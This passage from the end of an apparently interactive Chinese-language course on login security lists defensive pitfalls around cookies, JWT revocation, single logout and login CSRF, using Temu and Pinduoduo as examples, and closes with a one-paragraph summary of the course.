  • 登录态 cookie 设 Domain=.root 却不配 HttpOnly/网关风控:一个子域 XSS 沦陷全域(拼多多内部模型若无补偿控制即是此险)。
  • 用 JWT 却无法吊销:JWT 到期前服务端无法撤销,敏感场景要么短 TTL + 黑名单,要么干脆用 opaque token(如拼多多消费者端)。
  • SLO 当强一致:以为 CAS 登出后所有服务立即失效——背靠背通知可能丢,必须靠绝对超时兜底。
  • 登录表单无 LT/CSRF:登录 CSRF 可让受害者登入攻击者账号,再窃取其后续操作数据。

11.5 一句话总结全课

登录的本质是用可验证的凭据换取一份带状态的信任。cookie 是信任的载体,session 是信任的服务端镜像, CAS/SSO 是信任在多服务间的传递与互认,SLO 是信任的协同撤销,Proxy 是信任的受托代行。 Temu 的三套体系证明:没有"最好的"协议,只有匹配信任边界与性能约束的协议。当你能对每个属性、每张票据、 每次跳转说出"为什么是这样、不这样会怎样",你就达到了超出行业平均的专家认知。

— 全 11 章完。用右上角主题按钮切换明暗,用每段动画的 ◀ ▶ 单步、↻ 重放、进度条跳转反复研习。—